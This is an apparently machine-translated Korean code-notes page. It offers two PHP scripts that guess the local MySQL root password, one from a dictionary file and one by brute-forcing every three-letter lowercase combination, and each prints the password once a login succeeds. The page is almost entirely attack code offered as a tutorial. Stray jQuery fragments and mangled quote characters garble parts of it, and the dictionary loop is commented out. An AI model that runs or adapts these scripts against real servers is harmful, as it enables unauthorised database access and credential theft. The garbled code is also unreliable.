코드 노트
php 로컬 추측 MYSQL - 사전 파일 추측
<code><span><span><?</span> set_time_limit(<span>0</span>); <span>//脚本不超时</span><span>$user</span>=”root”; <span>//用户名</span><span>//$passwd=file(“password.txt”); //密码字典</span><span>//for($i=0;$i<count($passwd);$i++){</span><span>//$pass=$passwd[$i];</span> connect(<span>$user</span>,<span>$pass</span>); flush(); <span>//}</span><span>echo</span> “扫描结束!”; <span><span>function</span><span>connect</span><span>(<span>$user</span>,<span>$pass</span>)</span> {</span><span>$conn</span>=@mysql_connect(“localhost”,<span>$user</span>,<span>$pass</span>); <span>if</span>(<span>$conn</span>){ <span>echo</span> “<font color=’<span>#0000FF’><b>得到密码:<font color=’#FF0000′>”.$pass.”</font>!!!</b></font>”;</span><span>exit</span>(); } <span>else</span> { <span>echo</span><span>$pass</span>.’ ‘; } } <span>?></span></span></code>
php 로컬 추측 MYSQL - 폭력 추측
<code><textarea rows=<span>25</span> cols=<span>90</span> id=’t1′> <span><?php</span> set_time_limit(<span>0</span>); <span>$fruit</span>=<span>array</span> (‘a’,’b’,’c’,’d’,’e’,’f’,’g’,’h’,’i’,’j’,’k’,’l’,’m’,’n’,’o’,’p’,’q’,’r ‘,’s’,’t’,’u’,’v’,’w’,’x’,’y’,’z’); <span>//密码组合单个字符</span><span>$mmcd</span>=<span>3</span>; <span>//密码长度</span><span>$jlcs1</span>=<span>0</span>; <span>$dishes</span>[]=range(<span>1</span>,<span>$mmcd</span>); <span>//开始循环</span><span>for</span>(<span>$i</span>=<span>0</span>;<span>$i</span><<span>$mmcd</span>;<span>$i</span>++){ <span>foreach</span>(<span>$dishes</span><span>as</span><span>$k</span>=><span>$v</span>){ <span>foreach</span>(<span>$fruit</span><span>as</span><span>$_fruit</span>){ <span>$v</span>[<span>$i</span>]=<span>$_fruit</span>; <span>$dishes</span>[]=<span>$v</span>; <span>unset</span>(<span>$dishes</span>[<span>$k</span>]); <span>$t</span>=implode(”,<span>$v</span>); <span>$user</span>=<span>'root'</span>; <span>$pass</span>=<span>$t</span>; <span>$conn</span>=@mysql_connect(‘localhost’,<span>$user</span>,<span>$pass</span>); <span>//每生成800个密码自动删除文本框并创建一个文本框</span><span>$jlcs1</span>=<span>$jlcs1</span>+<span>1</span>; <span>if</span>(<span>$jlcs1</span>==<span>800</span>){ <span>echo</span> “</textarea>”; <span>echo</span> “<script language=\”JavaScript\”> <span>var</span> v = document.getElementById(‘t1′); v.parentNode.removeChild(v); </script>”; <span>echo</span> “<textarea rows=<span>25</span> cols=<span>90</span> id=’t1′>”; <span>$jlcs1</span>=<span>0</span>; } <span>//测试密码</span><span>if</span>(<span>$conn</span>){ <span>echo</span> “<script language=\”JavaScript\”> <span>var</span> v = document.getElementById(‘t1′); v.parentNode.removeChild(v); </script>”; <span>echo</span> “</textarea>”; <span>echo</span> “<font color=’<span>#0000FF’><b>得到密码: <font</span> color=’<span>#FF0000′>”.$pass.”</font>! ! ! </b></font>”;</span><span>exit</span>(); } <span>else</span> { <span>echo</span><span>$pass</span>.’ ‘; } flush(); } } <span>//总循环输出</span><span>echo</span> “</textarea>”; <span>echo</span> “<script language=\”JavaScript\”> <span>var</span> v = document.getElementById(‘t1′); v.parentNode.removeChild(v); </script>”; <span>echo</span> “<textarea rows=<span>25</span> cols=<span>90</span> id=’t1′>”; <span>echo</span> ‘扫描’,<span>$i</span>+<span>1</span>,<span>'!'</span>; } <span>?></span></code>') .addClass(' 미리 번호 매기기').hide(); $(this).addClass('has-numbering').parent().append($numbering); for (i = 1; i ').text(i)); }; $numbering.fadeIn(1700); }); });
위 내용은 MySQL 콘텐츠를 포함하여 PHP에서 MYSQL의 로컬 추측을 소개하고 있으며, PHP 튜토리얼에 관심이 있는 친구들에게 도움이 되기를 바랍니다.